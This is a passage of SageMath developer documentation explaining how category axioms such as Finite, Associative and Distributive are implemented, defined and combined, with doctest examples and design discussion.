{"text": "\"\"\"\nAxioms\n\nThis documentation covers how to implement axioms and proceeds with an\noverview of the implementation of the axiom infrastructure. It assumes\nthat the reader is familiar with the :ref:`category primer\n<sage.categories.primer>`, and in particular its :ref:`section about\naxioms <category-primer-axioms>`.\n\nImplementing axioms\n===================\n\nSimple case involving a single predefined axiom\n-----------------------------------------------\n\nSuppose that one wants to provide code (and documentation, tests, ...)\nfor the objects of some existing category ``Cs()`` that satisfy some\npredefined axiom ``A``.\n\nThe first step is to open the hood and check whether there already\nexists a class implementing the category ``Cs().A()``. For example,\ntaking ``Cs=Semigroups`` and the ``Finite`` axiom, there already\nexists a class for the category of finite semigroups::\n\n    sage: Semigroups().Finite()\n    Category of finite semigroups\n    sage: type(Semigroups().Finite())\n    <class 'sage.categories.finite_semigroups.FiniteSemigroups_with_category'>\n\nIn this case, we say that the category of semigroups *implements* the\naxiom ``Finite``, and code about finite semigroups should go in the\nclass :class:`FiniteSemigroups` (or, as usual, in its nested classes\n``ParentMethods``, ``ElementMethods``, and so on).\n\nOn the other hand, there is no class for the category of infinite\nsemigroups::\n\n    sage: Semigroups().Infinite()\n    Category of infinite semigroups\n    sage: type(Semigroups().Infinite())\n    <class 'sage.categories.category.JoinCategory_with_category'>\n\nThis category is indeed just constructed as the intersection of the\ncategories of semigroups and of infinite sets respectively::\n\n    sage: Semigroups().Infinite().super_categories()\n    [Category of semigroups, Category of infinite sets]\n\nIn this case, one needs to create a new class to implement the axiom\n``Infinite`` for this category. This boils down to adding a nested\nclass ``Semigroups.Infinite`` inheriting from :class:`CategoryWithAxiom`.\n\nIn the following example, we implement a category ``Cs``, with a\nsubcategory for the objects satisfying the ``Finite`` axiom defined in\nthe super category ``Sets`` (we will see later on how to *define* new\naxioms)::\n\n    sage: from sage.categories.category_with_axiom import CategoryWithAxiom\n    sage: class Cs(Category):\n    ....:     def super_categories(self):\n    ....:         return [Sets()]\n    ....:     class Finite(CategoryWithAxiom):\n    ....:         class ParentMethods:\n    ....:             def foo(self):\n    ....:                 print(\"I am a method on finite C's\")\n\n::\n\n    sage: Cs().Finite()\n    Category of finite cs\n    sage: Cs().Finite().super_categories()\n    [Category of finite sets, Category of cs]\n    sage: Cs().Finite().all_super_categories()\n    [Category of finite cs, Category of finite sets,\n     Category of cs, Category of sets, ...]\n    sage: Cs().Finite().axioms()\n    frozenset({'Finite'})\n\nNow a parent declared in the category ``Cs().Finite()`` inherits from\nall the methods of finite sets and of finite `C`'s, as desired::\n\n    sage: P = Parent(category=Cs().Finite())\n    sage: P.is_finite()             # Provided by Sets.Finite.ParentMethods\n    True\n    sage: P.foo()                   # Provided by Cs.Finite.ParentMethods\n    I am a method on finite C's\n\n.. _category-with-axiom-design:\n\n.. NOTE::\n\n    - This follows the same idiom as for\n      :ref:`sage.categories.covariant_functorial_construction`.\n\n    - From an object oriented point of view, any subcategory ``Cs()``\n      of :class:`Sets` inherits a ``Finite`` method.  Usually ``Cs``\n      could complement this method by overriding it with a method\n      ``Cs.Finite`` which would make a super call to ``Sets.Finite``\n      and then do extra stuff.\n\n      In the above example, ``Cs`` also wants to complement\n      ``Sets.Finite``, though not by doing more stuff, but by\n      providing it with an additional mixin class containing the code\n      for finite ``Cs``. To keep the analogy, this mixin class is to\n      be put in ``Cs.Finite``.\n\n    - By defining the axiom ``Finite``, :class:`Sets` fixes the\n      semantic of ``Cs.Finite()`` for all its subcategories ``Cs``:\n      namely \"the category of ``Cs`` which are finite as sets\". Hence,\n      for example, ``Modules.Free.Finite`` cannot be used to model the\n      category of free modules of finite rank, even though their\n      traditional name \"finite free modules\" might suggest it.\n\n    - It may come as a surprise that we can actually use the same name\n      ``Finite`` for the mixin class and for the method defining the\n      axiom; indeed, by default a class does not have a binding\n      behavior and would completely override the method. See the\n      section :ref:`axioms-defining-a-new-axiom` for details and the\n      rationale behind it.\n\n      An alternative would have been to give another name to the mixin\n      class, like ``FiniteCategory``. However this would have resulted\n      in more namespace pollution, whereas using ``Finite`` is already\n      clear, explicit, and easier to remember.\n\n    - Under the hood, the category ``Cs().Finite()`` is aware that it\n      has been constructed from the category ``Cs()`` by adding the\n      axiom ``Finite``::\n\n        sage: Cs().Finite().base_category()\n        Category of cs\n        sage: Cs().Finite()._axiom\n        'Finite'\n\nOver time, the nested class ``Cs.Finite`` may become large and too\ncumbersome to keep as a nested subclass of ``Cs``. Or the category with\naxiom may have a name of its own in the literature, like *semigroups*\nrather than *associative magmas*, or *fields* rather than *commutative\ndivision rings*. In this case, the category with axiom can be put\nelsewhere, typically in a separate file, with just a link from\n``Cs``::\n\n    sage: class Cs(Category):\n    ....:     def super_categories(self):\n    ....:         return [Sets()]\n    sage: class FiniteCs(CategoryWithAxiom):\n    ....:     class ParentMethods:\n    ....:         def foo(self):\n    ....:             print(\"I am a method on finite C's\")\n    sage: Cs.Finite = FiniteCs\n    sage: Cs().Finite()\n    Category of finite cs\n\nFor a real example, see the code of the class :class:`FiniteGroups` and the\nlink to it in :class:`Groups`. Note that the link is implemented using\n:class:`~sage.misc.lazy_import.LazyImport`; this is highly recommended: it\nmakes sure that :class:`FiniteGroups` is imported after :class:`Groups` it\ndepends upon, and makes it explicit that the class :class:`Groups` can be\nimported and is fully functional without importing :class:`FiniteGroups`.\n\n.. NOTE::\n\n    Some categories with axioms are created upon Sage's startup. In such a\n    case, one needs to pass the ``at_startup=True`` option to\n    :class:`~sage.misc.lazy_import.LazyImport`, in order to quiet the warning\n    about that lazy import being resolved upon startup. See for example\n    ``Sets.Finite``.\n\n    This is undoubtedly a code smell. Nevertheless, it is preferable\n    to stick to lazy imports, first to resolve the import order\n    properly, and more importantly as a reminder that the category\n    would be best not constructed upon Sage's startup. This is to spur\n    developers to reduce the number of parents (and therefore\n    categories) that are constructed upon startup. Each\n    ``at_startup=True`` that will be removed will be a measure of\n    progress in this direction.\n\n.. NOTE::\n\n    In principle, due to a limitation of\n    :class:`~sage.misc.lazy_import.LazyImport` with nested classes (see\n    :trac:`15648`), one should pass the option ``as_name`` to\n    :class:`~sage.misc.lazy_import.LazyImport`::\n\n        Finite = LazyImport('sage.categories.finite_groups', 'FiniteGroups', as_name='Finite')\n\n    in order to prevent ``Groups.Finite`` to keep on reimporting\n    ``FiniteGroups``.\n\n    Given that passing this option introduces some redundancy and is\n    error prone, the axiom infrastructure includes a little workaround\n    which makes the ``as_name`` unnecessary in this case.\n\nMaking the category with axiom directly callable\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIf desired, a category with axiom can be constructed directly through\nits class rather than through its base category::\n\n    sage: Semigroups()\n    Category of semigroups\n    sage: Semigroups() is Magmas().Associative()\n    True\n\n    sage: FiniteGroups()\n    Category of finite groups\n    sage: FiniteGroups() is Groups().Finite()\n    True\n\nFor this notation to work, the class :class:`Semigroups` needs to be\naware of the base category class (here, :class:`Magmas`) and of the\naxiom (here, ``Associative``)::\n\n    sage: Semigroups._base_category_class_and_axiom\n    (<class 'sage.categories.magmas.Magmas'>, 'Associative')\n    sage: Fields._base_category_class_and_axiom\n    (<class 'sage.categories.division_rings.DivisionRings'>, 'Commutative')\n    sage: FiniteGroups._base_category_class_and_axiom\n    (<class 'sage.categories.groups.Groups'>, 'Finite')\n    sage: FiniteDimensionalAlgebrasWithBasis._base_category_class_and_axiom\n    (<class 'sage.categories.algebras_with_basis.AlgebrasWithBasis'>, 'FiniteDimensional')\n\nIn our example, the attribute ``_base_category_class_and_axiom`` was\nset upon calling ``Cs().Finite()``, which makes the notation seemingly\nwork::\n\n    sage: FiniteCs()\n    Category of finite cs\n    sage: FiniteCs._base_category_class_and_axiom\n    (<class '__main__.Cs'>, 'Finite')\n    sage: FiniteCs._base_category_class_and_axiom_origin\n    'set by __classget__'\n\nBut calling ``FiniteCs()`` right after defining the class would have\nfailed (try it!). In general, one needs to set the attribute explicitly::\n\n    sage: class FiniteCs(CategoryWithAxiom):\n    ....:     _base_category_class_and_axiom = (Cs, 'Finite')\n    ....:     class ParentMethods:\n    ....:         def foo(self):\n    ....:             print(\"I am a method on finite C's\")\n\nHaving to set explicitly this link back from ``FiniteCs`` to ``Cs``\nintroduces redundancy in the code. It would therefore be desirable to\nhave the infrastructure set the link automatically instead (a\ndifficulty is to achieve this while supporting lazy imported\ncategories with axiom).\n\nAs a first step, the link is set automatically upon accessing the\nclass from the base category class::\n\n    sage: Algebras.WithBasis._base_category_class_and_axiom\n    (<class 'sage.categories.algebras.Algebras'>, 'WithBasis')\n    sage: Algebras.WithBasis._base_category_class_and_axiom_origin\n    'set by __classget__'\n\nHence, for whatever this notation is worth, one can currently do::\n\n    sage: Algebras.WithBasis(QQ)\n    Category of algebras with basis over Rational Field\n\nWe don't recommend using syntax like ``Algebras.WithBasis(QQ)``, as it\nmay eventually be deprecated.\n\nAs a second step, Sage tries some obvious heuristics to deduce the link\nfrom the name of the category with axiom (see\n:func:`base_category_class_and_axiom` for the details). This typically\ncovers the following examples::\n\n    sage: FiniteGroups()\n    Category of finite groups\n    sage: FiniteGroups() is Groups().Finite()\n    True\n    sage: FiniteGroups._base_category_class_and_axiom_origin\n    'deduced by base_category_class_and_axiom'\n\n    sage: FiniteDimensionalAlgebrasWithBasis(QQ)\n    Category of finite dimensional algebras with basis over Rational Field\n    sage: FiniteDimensionalAlgebrasWithBasis(QQ) is Algebras(QQ).FiniteDimensional().WithBasis()\n    True\n\nIf the heuristic succeeds, the result is guaranteed to be correct. If\nit fails, typically because the category has a name of its own like\n:class:`Fields`, the attribute ``_base_category_class_and_axiom``\nshould be set explicitly. For more examples, see the code of the\nclasses :class:`Semigroups` or :class:`Fields`.\n\n.. NOTE::\n\n    When printing out a category with axiom, the heuristic determines\n    whether a category has a name of its own by checking out how\n    ``_base_category_class_and_axiom`` was set::\n\n        sage: Fields._base_category_class_and_axiom_origin\n        'hardcoded'\n\n    See :meth:`CategoryWithAxiom._without_axioms`,\n    :meth:`CategoryWithAxiom._repr_object_names_static`.\n\nIn our running example ``FiniteCs``, Sage failed to deduce\nautomatically the base category class and axiom because the class\n``Cs`` is not in the standard location ``sage.categories.cs``.\n\n.. TOPIC:: Design discussion\n\n    The above deduction, based on names, is undoubtedly inelegant. But\n    it's safe (either the result is guaranteed to be correct, or an\n    error is raised), it saves on some redundant information, and it\n    is only used for the simple shorthands like ``FiniteGroups()`` for\n    ``Groups().Finite()``. Finally, most if not all of these\n    shorthands are likely to eventually disappear (see :trac:`15741`\n    and the :ref:`related discussion in the primer\n    <category-primer-axioms-single-entry-point>`).\n\n.. _axioms-defining-a-new-axiom:\n\nDefining a new axiom\n--------------------\n\nWe describe now how to define a new axiom. The first step is to figure\nout the largest category where the axiom makes sense. For example\n``Sets`` for ``Finite``, ``Magmas`` for ``Associative``, or\n``Modules`` for ``FiniteDimensional``. Here we define the axiom\n``Green`` for the category ``Cs`` and its subcategories::\n\n    sage: from sage.categories.category_with_axiom import CategoryWithAxiom\n    sage: class Cs(Category):\n    ....:     def super_categories(self):\n    ....:         return [Sets()]\n    ....:     class SubcategoryMethods:\n    ....:         def Green(self):\n    ....:             '<documentation of the axiom Green>'\n    ....:             return self._with_axiom(\"Green\")\n    ....:     class Green(CategoryWithAxiom):\n    ....:         class ParentMethods:\n    ....:             def foo(self):\n    ....:                 print(\"I am a method on green C's\")\n\nWith the current implementation, the name of the axiom must also be\nadded to a global container::\n\n    sage: all_axioms = sage.categories.category_with_axiom.all_axioms\n    sage: all_axioms += (\"Green\",)\n\nWe can now use the axiom as usual::\n\n    sage: Cs().Green()\n    Category of green cs\n\n    sage: P = Parent(category=Cs().Green())\n    sage: P.foo()\n    I am a method on green C's\n\nCompared with our first example, the only newcomer is the method\n``.Green()`` that can be used by any subcategory ``Ds()`` of ``Cs()``\nto add the axiom ``Green``. Note that the expression ``Ds().Green``\nalways evaluates to this method, regardless of whether ``Ds`` has a\nnested class ``Ds.Green`` or not (an implementation detail)::\n\n    sage: Cs().Green\n    <bound method Cs_with_category.Green of Category of cs>\n\nThanks to this feature (implemented in :meth:`CategoryWithAxiom.__classget__`),\nthe user is systematically referred to the documentation of this\nmethod when doing introspection on ``Ds().Green``::\n\n    sage: C = Cs()\n    sage: C.Green?             # not tested\n    sage: Cs().Green.__doc__\n    '<documentation of the axiom Green>'\n\nIt is therefore the natural spot for the documentation of the axiom.\n\n.. NOTE::\n\n    The presence of the nested class ``Green`` in ``Cs`` is currently\n    mandatory even if it is empty.\n\n.. TODO::\n\n    Specify whether or not one should systematically use\n    @cached_method in the definition of the axiom. And make sure all\n    the definition of axioms in Sage are consistent in this respect!\n\n.. TODO::\n\n    We could possibly define an @axiom decorator? This could hide two\n    little implementation details: whether or not to make the method a\n    cached method, and the call to _with_axiom(...) under the hood. It\n    could do possibly do some more magic. The gain is not obvious though.\n\n.. NOTE::\n\n    ``all_axioms`` is only used marginally, for sanity checks and when\n    trying to derive automatically the base category class. The order\n    of the axioms in this tuple also controls the order in which they\n    appear when printing out categories with axioms (see\n    :meth:`CategoryWithAxiom._repr_object_names_static`).\n\n    During a Sage session, new axioms should only be added at the *end*\n    of ``all_axioms``, as above, so as to not break the cache of\n    :func:`axioms_rank`. Otherwise, they can be inserted statically\n    anywhere in the tuple. For axioms defined within the Sage library,\n    the name is best inserted by editing directly the definition of\n    ``all_axioms`` in :mod:`sage.categories.category_with_axiom`.\n\n.. TOPIC:: Design note\n\n    Let us state again that, unlike what the existence of\n    ``all_axioms`` might suggest, the definition of an axiom is local\n    to a category and its subcategories. In particular, two\n    independent categories ``Cs()`` and ``Ds()`` can very well define\n    axioms with the same name and different semantics. As long as the\n    two hierarchies of subcategories don't intersect, this is not a\n    problem. And if they do intersect naturally (that is if one is\n    likely to create a parent belonging to both categories), this\n    probably means that the categories ``Cs`` and ``Ds`` are about\n    related enough areas of mathematics that one should clear the\n    ambiguity by having either the same semantic or different names.\n\n    This caveat is no different from that of name clashes in hierarchy\n    of classes involving multiple inheritance.\n\n.. TODO::\n\n    Explore ways to get rid of this global ``all_axioms`` tuple,\n    and/or have automatic registration there, and/or having a\n    register_axiom(...) method.\n\nSpecial case: defining an axiom depending on several categories\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nIn some cases, the largest category where the axiom makes sense is the\nintersection of two categories. This is typically the case for axioms\nspecifying compatibility conditions between two otherwise unrelated\noperations, like ``Distributive`` which specifies a compatibility\nbetween `*` and `+`. Ideally, we would want the ``Distributive`` axiom\nto be defined by::\n\n    sage: Magmas() & AdditiveMagmas()\n    Join of Category of magmas and Category of additive magmas\n\nThe current infrastructure does not support this perfectly: indeed,\ndefining an axiom for a category `C` requires `C` to have a class of\nits own; hence a :class:`~.category.JoinCategory` as above won't do;\nwe need to implement a new class like\n:class:`~.magmas_and_additive_magmas.MagmasAndAdditiveMagmas`;\nfurthermore, we cannot yet model the fact that ``MagmasAndAdditiveMagmas()``\n*is* the intersection of ``Magmas()`` and ``AdditiveMagmas()`` rather than a\nmere subcategory::\n\n    sage: from sage.categories.magmas_and_additive_magmas import MagmasAndAdditiveMagmas\n    sage: Magmas() & AdditiveMagmas() is MagmasAndAdditiveMagmas()\n    False\n    sage: Magmas() & AdditiveMagmas()             # todo: not implemented\n    Category of magmas and additive magmas\n\nStill, there is a workaround to get the natural notations::\n\n    sage: (Magmas() & AdditiveMagmas()).Distributive()\n    Category of distributive magmas and additive magmas\n    sage: (Monoids() & CommutativeAdditiveGroups()).Distributive()\n    Category of rings\n\nThe trick is to define ``Distributive`` as usual in\n:class:`~.magmas_and_additive_magmas.MagmasAndAdditiveMagmas`, and to\nadd a method :meth:`Magmas.SubcategoryMethods.Distributive` which\nchecks that ``self`` is a subcategory of both ``Magmas()`` and\n``AdditiveMagmas()``, complains if not, and otherwise takes the\nintersection of ``self`` with ``MagmasAndAdditiveMagmas()`` before\ncalling ``Distributive``.\n\nThe downsides of this workaround are:\n\n- Creation of an otherwise empty class\n  :class:`~.magmas_and_additive_magmas.MagmasAndAdditiveMagmas`.\n\n- Pollution of the namespace of ``Magmas()`` (and subcategories like\n  ``Groups()``) with a method that is irrelevant (but safely complains\n  if called).\n\n- ``C._with_axiom('Distributive')`` is not strictly equivalent to\n  ``C.Distributive()``, which can be unpleasantly surprising::\n\n    sage: (Monoids() & CommutativeAdditiveGroups()).Distributive()\n    Category of rings\n\n    sage: (Monoids() & CommutativeAdditiveGroups())._with_axiom('Distributive')\n    Join of Category of monoids and Category of commutative additive groups\n\n.. TODO::\n\n    Other categories that would be better implemented via an axiom\n    depending on a join category include:\n\n    - :class:`Algebras`: defining an associative unital algebra as a\n      ring and a module satisfying the suitable compatibility axiom\n      between inner multiplication and multiplication by scalars\n      (bilinearity). Of course this should be implemented at the level\n      of :class:`~.magmatic_algebras.MagmaticAlgebras`, if not higher.\n\n    - :class:`Bialgebras`: defining an bialgebra as an algebra and\n      coalgebra where the coproduct is a morphism for the product.\n\n    - :class:`Bimodules`: defining a bimodule as a left and right\n      module where the two actions commute.\n\n.. TODO::\n\n    - Design and implement an idiom for the definition of an axiom by a join\n      category.\n\n    - Or support more advanced joins, through some hook or registration\n      process to specify that a given category *is* the intersection of two\n      (or more) categories.\n\n    - Or at least improve the above workaround to avoid the last issue; this\n      possibly could be achieved using a class ``Magmas.Distributive`` with a\n      bit of ``__classcall__`` magic.\n\nHandling multiple axioms, arborescence structure of the code\n------------------------------------------------------------\n\nPrelude\n^^^^^^^\n\nLet us consider the category of magmas, together with two of its\naxioms, namely ``Associative`` and ``Unital``. An associative magma is\na *semigroup* and a unital semigroup is a *monoid*. We have also seen\nthat axioms commute::\n\n    sage: Magmas().Unital()\n    Category of unital magmas\n    sage: Magmas().Associative()\n    Category of semigroups\n    sage: Magmas().Associative().Unital()\n    Category of monoids\n    sage: Magmas().Unital().Associative()\n    Category of monoids\n\nAt the level of the classes implementing these categories, the\nfollowing comes as a general naturalization of the previous section::\n\n    sage: Magmas.Unital\n    <class 'sage.categories.magmas.Magmas.Unital'>\n    sage: Magmas.Associative\n    <class 'sage.categories.semigroups.Semigroups'>\n    sage: Magmas.Associative.Unital\n    <class 'sage.categories.monoids.Monoids'>\n\nHowever, the following may look suspicious at first::\n\n    sage: Magmas.Unital.Associative\n    Traceback (most recent call last):\n    ...\n    AttributeError: type object 'Magmas.Unital' has no attribute 'Associative'\n\nThe purpose of this section is to explain the design of the code\nlayout and the rationale for this mismatch.\n\nAbstract model\n^^^^^^^^^^^^^^\n\nAs we have seen in the :ref:`Primer <category-primer-axioms-explosion>`,\nthe objects of a category ``Cs()`` can usually satisfy, or not, many\ndifferent axioms. Out of all combinations of axioms, only a small\nnumber are relevant in practice, in the sense that we actually want to\nprovide features for the objects satisfying these axioms.\n\nTherefore, in the context of the category class ``Cs``, we want to\nprovide the system with a collection `(D_S)_{S\\in \\mathcal S}` where\neach `S` is a subset of the axioms and the corresponding `D_S` is a\nclass for the subcategory of the objects of ``Cs()`` satisfying the\naxioms in `S`. For example, if ``Cs()`` is the category of magmas, the\npairs `(S, D_S)` would include::\n\n    {Associative}                 : Semigroups\n    {Associative, Unital}         : Monoids\n    {Associative, Unital, Inverse}: Groups\n    {Associative, Commutative}    : Commutative Semigroups\n    {Unital,      Inverse}        : Loops\n\nThen, given a subset `T` of axioms, we want the system to be able to\nselect automatically the relevant classes\n`(D_S)_{S\\in \\mathcal S, S\\subset T}`,\nand build from them a category for the objects of ``Cs`` satisfying\nthe axioms in `T`, together with its hierarchy of super categories. If\n`T` is in the indexing set `\\mathcal S`, then the class of the\nresulting category is directly `D_T`::\n\n    sage: C = Magmas().Unital().Inverse().Associative(); C\n    Category of groups\n    sage: type(C)\n    <class 'sage.categories.groups.Groups_with_category'>\n\nOtherwise, we get a join category::\n\n    sage: C = Magmas().Infinite().Unital().Associative(); C\n    Category of infinite monoids\n    sage: type(C)\n    <class 'sage.categories.category.JoinCategory_with_category'>\n    sage: C.super_categories()\n    [Category of monoids, Category of infinite sets]\n\nConcrete model as an arborescence of nested classes\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWe further want the construction to be efficient and amenable to\nlaziness. This led us to the following design decision: the collection\n`(D_S)_{S\\in \\mathcal S}` of classes should be structured as an\narborescence (or equivalently a *rooted forest*). The root is ``Cs``,\ncorresponding to `S=\\emptyset`. Any other class `D_S` should be the\nchild of a single class `D_{S'}` where `S'` is obtained from `S` by\nremoving a single axiom `A`. Of course, `D_{S'}` and `A` are\nrespectively the base category class and axiom of the category with\naxiom `D_S` that we have met in the first section.\n\nAt this point, we urge the reader to explore the code of\n:class:`Magmas` and\n:class:`~.distributive_magmas_and_additive_magmas.DistributiveMagmasAndAdditiveMagmas`\nand see how the arborescence structure on the categories with axioms\nis reflected by the nesting of category classes.\n\nDiscussion of the design\n^^^^^^^^^^^^^^^^^^^^^^^^\n\nPerformance\n~~~~~~~~~~~\n\nThanks to the arborescence structure on subsets of axioms,\nconstructing the hierarchy of categories and computing intersections\ncan be made efficient with, roughly speaking, a linear/quadratic\ncomplexity in the size of the involved category hierarchy multiplied\nby the number of axioms (see Section :ref:`axioms-algorithmic`). This\nis to be put in perspective with the manipulation of arbitrary\ncollections of subsets (aka boolean functions) which can easily raise\nNP-hard problems.\n\nFurthermore, thanks to its locality, the algorithms can be made\nsuitably lazy: in particular, only the involved category classes need\nto be imported.\n\nFlexibility\n~~~~~~~~~~~\n\nThis design also brings in quite some flexibility, with the\npossibility to support features such as defining new axioms depending\non other axioms and deduction rules. See below.\n\nAsymmetry\n~~~~~~~~~\n\nAs we have seen at the beginning of this section, this design\nintroduces an asymmetry. It's not so bad in practice, since in most\npractical cases, we want to work incrementally. It's for example more\nnatural to describe :class:`FiniteFields` as :class:`Fields` with the\naxiom ``Finite`` rather than :class:`Magmas` and\n:class:`AdditiveMagmas` with all (or at least sufficiently many) of\nthe following axioms::\n\n    sage: sorted(Fields().axioms())\n    ['AdditiveAssociative', 'AdditiveCommutative', 'AdditiveInverse',\n     'AdditiveUnital', 'Associative', 'Commutative', 'Distributive',\n     'Division', 'NoZeroDivisors', 'Unital']\n\nThe main limitation is that the infrastructure currently imposes to be\nincremental by steps of a single axiom.\n\nIn practice, among the roughly 60 categories with axioms that are\ncurrently implemented in Sage, most admitted a (rather) natural choice\nof a base category and single axiom to add. For example, one usually\nthinks more naturally of a monoid as a semigroup which is unital\nrather than as a unital magma which is associative. Modeling this\nasymmetry in the code actually brings a bonus: it is used for printing\nout categories in a (heuristically) mathematician-friendly way::\n\n    sage: Magmas().Commutative().Associative()\n    Category of commutative semigroups\n\nOnly in a few cases is a choice made that feels mathematically\narbitrary. This is essentially in the chain of nested classes\n:class:`.distributive_magmas_and_additive_magmas.DistributiveMagmasAndAdditiveMagmas.AdditiveAssociative.AdditiveCommutative.AdditiveUnital.Associative`.\n\nPlaceholder classes\n~~~~~~~~~~~~~~~~~~~\n\nGiven that we can only add a single axiom at a time when implementing\na :class:`CategoryWithAxiom`, we need to create a few category classes\nthat are just placeholders. For the worst example, see the chain of\nnested classes\n:class:`.distributive_magmas_and_additive_magmas.DistributiveMagmasAndAdditiveMagmas.AdditiveAssociative.AdditiveCommutative.AdditiveUnital.Associative`.\n\nThis is suboptimal, but fits within the scope of the axiom\ninfrastructure which is to reduce a potentially exponential number of\nplaceholder category classes to just a couple.\n\nNote also that, in the above example, it's likely that some of the\nintermediate classes will grow to non placeholder ones, as people will\nexplore more weaker variants of rings.\n\nMismatch between the arborescence of nested classes and the hierarchy of categories\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe fact that the hierarchy relation between categories is not\nreflected directly as a relation between the classes may sound\nsuspicious at first! However, as mentioned in the primer, this is\nactually a big selling point of the axioms infrastructure: by\ncalculating automatically the hierarchy relation between categories\nwith axioms one avoids the nightmare of maintaining it by hand.\nInstead, only a rather minimal number of links needs to be maintainted\nin the code (one per category with axiom).\n\nBesides, with the flexibility introduced by runtime deduction rules\n(see below), the hierarchy of categories may depend on the parameters\nof the categories and not just their class. So it's fine to make it\nclear from the onset that the two relations do not match.\n\nEvolutivity\n~~~~~~~~~~~\n\nAt this point, the arborescence structure has to be hardcoded by hand\nwith the annoyances we have seen. This does not preclude, in a future\niteration, to design and implement some idiom for categories with\naxioms that adds several axioms at once to a base category; maybe some\nvariation around::\n\n    class DistributiveMagmasAndAdditiveMagmas:\n        ...\n\n        @category_with_axiom(\n            AdditiveAssociative,\n            AdditiveCommutative,\n            AdditiveUnital,\n            AdditiveInverse,\n            Associative)\n        def _(): return LazyImport('sage.categories.rngs', 'Rngs', at_startup=True)\n\nor::\n\n    register_axiom_category(DistributiveMagmasAndAdditiveMagmas,\n                            {AdditiveAssociative,\n                             AdditiveCommutative,\n                             AdditiveUnital,\n                             AdditiveInverse,\n                             Associative},\n                            'sage.categories.rngs', 'Rngs', at_startup=True)\n\nThe infrastructure would then be in charge of building the appropriate\narborescence under the hood. Or rely on some database (see discussion\non :trac:`10963`, in particular at the end of comment 332).\n\nAxioms defined upon other axioms\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nSometimes an axiom can only be defined when some other axiom\nholds. For example, the axiom ``NoZeroDivisors`` only makes sense if\nthere is a zero, that is if the axiom ``AdditiveUnital`` holds. Hence,\nfor the category\n:class:`~.magmas_and_additive_magmas.MagmasAndAdditiveMagmas`, we\nconsider in the abstract model only those subsets of axioms where the\npresence of ``NoZeroDivisors`` implies that of ``AdditiveUnital``.  We\nalso want the axiom to be only available if meaningful::\n\n    sage: Rings().NoZeroDivisors()\n    Category of domains\n    sage: Rings().Commutative().NoZeroDivisors()\n    Category of integral domains\n    sage: Semirings().NoZeroDivisors()\n    Traceback (most recent call last):\n    ...\n    AttributeError: 'Semirings_with_category' object has no attribute 'NoZeroDivisors'\n\nConcretely, this is to be implemented by defining the new axiom in the\n(``SubcategoryMethods`` nested class of the) appropriate category with\naxiom. For example the axiom ``NoZeroDivisors`` would be naturally\ndefined in\n:class:`.magmas_and_additive_magmas.MagmasAndAdditiveMagmas.Distributive.AdditiveUnital`.\n\n.. NOTE::\n\n    The axiom ``NoZeroDivisors`` is currently defined in\n    :class:`Rings`, by simple lack of need for the feature; it should\n    be lifted up as soon as relevant, that is when some code will be\n    available for parents with no zero divisors that are not\n    necessarily rings.\n\n.. _axioms-deduction-rules:\n\nDeduction rules\n^^^^^^^^^^^^^^^\n\nA similar situation is when an axiom ``A`` of a category ``Cs``\nimplies some other axiom ``B``, with the same consequence as above on\nthe subsets of axioms appearing in the abstract model. For example, a\ndivision ring necessarily has no zero divisors::\n\n    sage: 'NoZeroDivisors' in Rings().Division().axioms()\n    True\n    sage: 'NoZeroDivisors' in Rings().axioms()\n    False\n\nThis deduction rule is implemented by the method\n:meth:`Rings.Division.extra_super_categories`::\n\n    sage: Rings().Division().extra_super_categories()\n    (Category of domains,)\n\nIn general, this is to be implemented by a method\n``Cs.A.extra_super_categories`` returning a tuple ``(Cs().B(),)``, or\npreferably ``(Ds().B(),)`` where ``Ds`` is the category defining the\naxiom ``B``.\n\nThis follows the same idiom as for deduction rules about functorial\nconstructions (see :meth:`.covariant_functorial_construction.CovariantConstructionCategory.extra_super_categories`).\nFor example, the fact that a Cartesian product of associative magmas\n(i.e. of semigroups) is an associative magma is implemented in\n:meth:`Semigroups.CartesianProducts.extra_super_categories`::\n\n    sage: Magmas().Associative()\n    Category of semigroups\n    sage: Magmas().Associative().CartesianProducts().extra_super_categories()\n    [Category of semigroups]\n\nSimilarly, the fact that the algebra of a commutative magma is\ncommutative is implemented in\n:meth:`Magmas.Commutative.Algebras.extra_super_categories`::\n\n    sage: Magmas().Commutative().Algebras(QQ).extra_super_categories()\n    [Category of commutative magmas]\n\n.. WARNING::\n\n    In some situations this idiom is inapplicable as it would require\n    to implement two classes for the same category. This is the\n    purpose of the next section.\n\nSpecial case\n~~~~~~~~~~~~\n\nIn the previous examples, the deduction rule only had an influence on\nthe super categories of the category with axiom being constructed. For\nexample, when constructing ``Rings().Division()``, the rule\n:meth:`Rings.Division.extra_super_categories` simply adds\n``Rings().NoZeroDivisors()`` as a super category thereof.\n\nIn some situations this idiom is inapplicable because a class for the\ncategory with axiom under construction already exists elsewhere. Take\nfor example Wedderburn's theorem: any finite division ring is\ncommutative, i.e. is a finite field. In other words,\n``DivisionRings().Finite()`` *coincides* with ``Fields().Finite()``::\n\n        sage: DivisionRings().Finite()\n        Category of finite fields\n        sage: DivisionRings().Finite() is Fields().Finite()\n        True\n\nTherefore we cannot create a class ``DivisionRings.Finite`` to hold\nthe desired ``extra_super_categories`` method, because there is\nalready a class for this category with axiom, namely\n``Fields.Finite``.\n\nA natural idiom would be to have ``DivisionRings.Finite`` be a link to\n``Fields.Finite`` (locally introducing an undirected cycle in the\narborescence of nested classes). It would be a bit tricky to implement\nthough, since one would need to detect, upon constructing\n``DivisionRings().Finite()``, that ``DivisionRings.Finite`` is\nactually ``Fields.Finite``, in order to construct appropriately\n``Fields().Finite()``; and reciprocally, upon computing the super\ncategories of ``Fields().Finite()``, to not try to add\n``DivisionRings().Finite()`` as a super category.\n\nInstead the current idiom is to have a method\n``DivisionRings.Finite_extra_super_categories`` which mimicks the\nbehavior of the would-be\n``DivisionRings.Finite.extra_super_categories``::\n\n    sage: DivisionRings().Finite_extra_super_categories()\n    (Category of commutative magmas,)\n\nThis idiom is admittedly rudimentary, but consistent with how\nmathematical facts specifying non trivial inclusion relations between\ncategories are implemented elsewhere in the various\n``extra_super_categories`` methods of axiom categories and covariant\nfunctorial constructions. Besides, it gives a 